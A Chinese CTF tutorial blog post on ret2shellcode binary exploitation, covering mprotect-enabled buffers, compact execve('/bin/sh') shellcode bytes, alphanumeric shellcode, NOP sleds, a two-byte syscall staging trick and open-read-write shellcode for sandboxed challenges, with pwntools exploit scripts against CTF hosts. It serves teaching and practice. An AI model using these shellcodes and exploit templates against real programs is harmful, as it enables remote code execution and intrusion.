首页 > 系统相关 >CTF-PWN-ret2shellcode全解

CTF-PWN-ret2shellcode全解

时间:2024-09-21 23:49:16浏览次数:3  
标签:nop 可以 x2f pwn CTF push PWN 全解 shellcode

##入门级shellcode
在平时遇到题目时候我们第一步查看保护,然后再根据反汇编的程序进行判断程序能够用哪种攻击方法
入门级的shellcode肯定就是简单的看,但是那种无限制且可以直接执行的就不给大家讲了,那种是非常非常简单的了,首先给大家看一个例题:
源码:

保护:

有新手会问,开启了nx保护怎么进行shellcode呢,所以我们就需要具体情况具体分析了。
反汇编:

可以看到源码中已经有了很明显的溢出位,在看反汇编中,也是能够看出来的,当然平时做题是看不到源码的。
可以看到read将输入放到了s中,然后strcpy又把函数放到了buff中,那么就跟进buff中查看:
可以查看到buff的位置在0x4040A0,在前面大家可以看到有个mprotect函数,改变了一个段的权限,我们可以到gdb当中去看:

可以看到运行过这个函数以后,buf所在的0x4040A0也就变成了可读可写可执行了,所以我们把shellcode写入到buff中就可以进行执行了关于mprotect函数的具体使用我在前面一个文章中已经讲解的很详细了,大家可以去看看。
那么到此我们就可以写exp了:
```python
from pwn import *
context(arch='amd64')  #必须要加,要不然打不通
p = remote('node5.anna.nssctf.cn',24146)
shellcode = asm(shellcraft.sh())
buff = 0x4040A0
p.sendline(shellcode.ljust(0x108,b'a')+p64(buff))
p.interactive()
```
有时候有些人会问了为什么我64位打不通,就是因为没有指定架构,因为pwn中默认生成的shellcode是32位的,所以不进行指定的话是打不通的,当遇到64位程序的时候一定要进行指定。
##限制位数的shellcode
当我们遇到那种限制位数的shellcode的时候我们就不能够使用脚本生成shellcode去打了,所以我给大家准备了两个比较短的shellcode,大家可以直接拿去打
32位:
```
push   0xb
pop    eax
push   ebx
push   0x68732f2f
push   0x6e69622f
mov    ebx,esp
int    0x80
shellcode = b"\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
```
64位
```
xor     rsi,    rsi            
push    rsi                
mov     rdi,    0x68732f2f6e69622f     
push    rdi
push    rsp        
pop    rdi                
mov     al,    59            
cdq                    
syscall
shellcode = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
更短
b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
```
可以看到能够读取的字节做了限制,而且比较短,这种题目的时候就可以用到了
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20240921203435-dc1a4ffe-7815-1.png)
##可见字符shellcode
可见字符的shellcode是在什么时候用到的呢,有些程序会对用户输入进行检测,让用户只能输入可见字符的时候,就可以用到这个攻击方法了,原理还是很简单的,利用汇编指令对应的ascll码写出来,所以如果要手写的话是要懂汇编的,如果有需要可以自行学习一下。
大家也可以利用一个工具进行编写:alpha3,这里我也为大家提供了下次链接:
```
git clone https://github.com/TaQini/alpha3.git
```
使用方法:
利用生成的shellcode,输出到一个文件当中
```
from pwn import *
context.arch='amd64'
sc = shellcraft.sh()
print asm(sc)
```
python shellcode.py > shellcode
生成的是x64的sys_execve("/bin/sh",0,0),可以修改成其他的arch或shellcode
```
python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"
```
详细的话大家可以去下载链接哪里查看使用方法。当然我这里也提供了生成好了的可见shellcode
```
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
io.recvuntil("Shellcode")
shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.send(shellcode)
io.interactive()
```
大家可以直接利用这个shellcode去打也可以。
##nop slep滑shellcode
nop slep可以破解栈随机化的缓冲区溢出攻击方法。主要用法是如果题目有很大的溢出空间,但是开启了保护,不能够得到准确的输入函数的位置的时候使用,可以利用这个攻击手法滑到shellcode的地址,不用那么精准的算偏移也是可以通的情况,不过例题我找不到了,所以这里给大家具体介绍一下nop slep:
nop slep也叫空操作(NOP)滑板,nop是英文 No Operation的缩写,中文翻译为无指令,它不会做任何操作,只是让cpu停止一段时间,在我们写exp的时候是用到它编译好的   \x90 就是nop slep指令。如果我们要写的时候可以写
```python
payload = b'\x90'*1000+shellcode
```
然后再加上可执行的地址,就可以进行pwn了。
##限制两位的shellcode
前面有个限制位数的跟大家说了,但是如果限制了2位又该怎么做呢,限制2位当时我做的时候也感觉到比较有意思,这个时候给大家单独拿出来讲一下。
可以看到只能够写2位

那么我们这个时候肯定有人就蒙了,别慌我们可以写系统调用哦。
首先,要写有限个字节内的shellcode,需要观察当前寄存器内的值,这个例题呢可以直接写:
```
payload = b'\x0f\x05' #就是syscall的汇编
```
完整exp:
```python
from pwn import *
p = remote('challenge.basectf.fun',47287)
context(arch='amd64')
shellcode = b'\x0f\x05' #\x0f\x05  是系统调用,用来停止这个这次输入
p.send(shellcode)
shellcode1 = b'\x90'*2+asm(shellcraft.sh())  #\x90 是nop 为了覆盖之前的syscall
p.sendline(shellcode1)
p.interactive()
```
##orw_shellcode
利用这个方法的时候一般题目会给出flag在服务器中的位置的,所以很好判断用不用这个方法,而且当中一般会使用沙箱,会禁止使用sh,我们遇到沙箱可以使用一个工具来判断有那些函数:seccomp-tools dump ./pwn
就可以检查禁用函数了,大家可以自行下载查看使用方法。
orw_shellcode 就是利用pwntolls中的脚本就可以使用,用了open,read,write函数,然后打开文件,读取输出就可以,原理还是比较简单的。
这边也准备了一个例题:

可以看到使用mmap改变了权限
```python
from pwn import *
context.arch="amd64"
context.log_level="debug"
p=remote()
mmap_addr =0xcafe0000         #更改权限的地址
p.recvuntil("shellcode:\n")
shellcode=shellcraft.open("./flag")
shellcode+=shellcraft.read(3,mmap_addr,0x50)
shellcode+=shellcraft.write(1,mmap_addr,0x50)
shellcode=asm(shellcode)
shellcode1=asm("xor rdi,rdi;mov rsi,0xcafe000f;syscall")
p.send(shellcode1)
'''
我直接就能通,有些人用的是nop滑到shellcode的后面注入
'''
p.sendline(b"\x90"*len(shellcode1)+shellcode)
#p.send(shellcode)
p.interactive()
```
那么到此已经把我所知道的shellcode的用法写了出来。如果有错误希望大佬能够指出来,虚心求教,学无止境。

标签:nop,可以,x2f,pwn,CTF,push,PWN,全解,shellcode
From: https://blog.csdn.net/2301_79326514/article/details/142425141

相关文章

  • 记一次ctf题解(rsa简单部分)
    一.ctfshow1.babyrsaimportgmpy2fromCrypto.Util.numberimport*e=65537p=104046835712664064779194734974271185635538927889880611929931939711001301561682270177931622974642789920918902563361293345434055764293612446888383912807143394009019803471816......
  • Spring Cloud全解析:服务调用之Feign的执行流程
    Feign的执行流程首先通过@EnableFeignClients注解开启Feign功能,程序启动时开启对@FeignClient注解的扫描@Retention(RetentionPolicy.RUNTIME)@Target(ElementType.TYPE)@Documented@Import(FeignClientsRegistrar.class)public@interfaceEnableFeignClients当接口......
  • MySQL 子查询全解析:执行、性能影响与优化策略
    在MySQL数据库的操作中,子查询是一个强大而又复杂的工具。今天,我们就来深入探讨MySQL如何执行子查询、其性能影响、优化方法以及哪些情况下应避免使用子查询。一、MySQL如何执行子查询非相关子查询非相关子查询也被称为独立子查询,它可以独立于外部查询进行执行。MyS......
  • 菜鸟笔记之PWN入门(1.1.1)汇编语言基础与堆栈入门
    啥是汇编语言?有啥用?深入了解计算机底层,我们会发现,计算机实际上只能执行一些非常基础的操作,但其速度却非常快。计算机的CPU只能执行机器码,即由一系列0和1组成的指令。不同的0和1组合会触发计算机中的不同电路,从而进行各种操作。由于这些0和1的组合很长,阅读起来不方便,因此通常以1......
  • 菜鸟笔记之PWN入门(1.1.3)Linux基础操作和ELF文件保护
    这里不讨论Linux的历史及其与Windows的比较。直接介绍一些简单基础的操作。首先我们需要安装一个Linux操作系统(首先推荐Ubuntu),我们需要安装一个VM虚拟机,然后在里面搭建一个Ubuntu的虚拟机可以直接百度搜索,这里推荐一个文章安装虚拟机(VMware)保姆级教程(附安装包)_vmware虚拟机-......
  • 菜鸟笔记之PWN入门(1.1.2)C程序调用过程与函数栈变化(32位 vs 64位)(Intel)
    本文使用Intel的32位为例子进行举例。64位本质上和32位类似,主要区别在于函数参数的调用方式,文章结尾会简要提及。重新回顾一下栈pop和push指令//将0x50的压入栈push0x50//将esp指向的数据放入指定的寄存器中pop寄存器名字比如:popeax执行之后eax的值就变成了0x50......
  • 菜鸟笔记之PWN入门(1.1.0)ELF 文件格式和程序段解析(简版)
    ELF(ExecutableandLinkableFormat):是一种用于可执行文件、目标文件和库的文件格式,类似于Windows下的PE文件格式。ELF主要包括三种类型的文件:可重定位文件(relocatable):编译器和汇编器产生的 .o 文件,由 Linker 处理。可执行文件(executable): Linker ......
  • Spring Cloud全解析:服务调用之自定义Feign的配置
    自定义Feign的配置Feign的默认配置类是FeignClientsConfiguration,其内部定义了Feign默认使用的编码器、解码器、契约、重试机制等@Bean@ConditionalOnMissingBeanpublicDecoderfeignDecoder(){//解码器,将字节数组反序列化为方法返回值类型的对象,默认只支持反序列化为St......
  • [CTFshow] 文件包含 78~88,116~117
    web78if(isset($_GET['file'])){$file=$_GET['file'];include($file);}else{highlight_file(__FILE__);}php伪协议,data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码?file=data://text/plain,<?=system('ls')?>?file=dat......
  • BaseCTF2024 pwn
    [Week1]Ret2textexpfrompwnimport*context(os='linux',arch='amd64',log_level='debug')io=remote("challenge.basectf.fun",32537)#io=process("./Ret2text")ret_addr=0x04011A3payload=(0x20+0......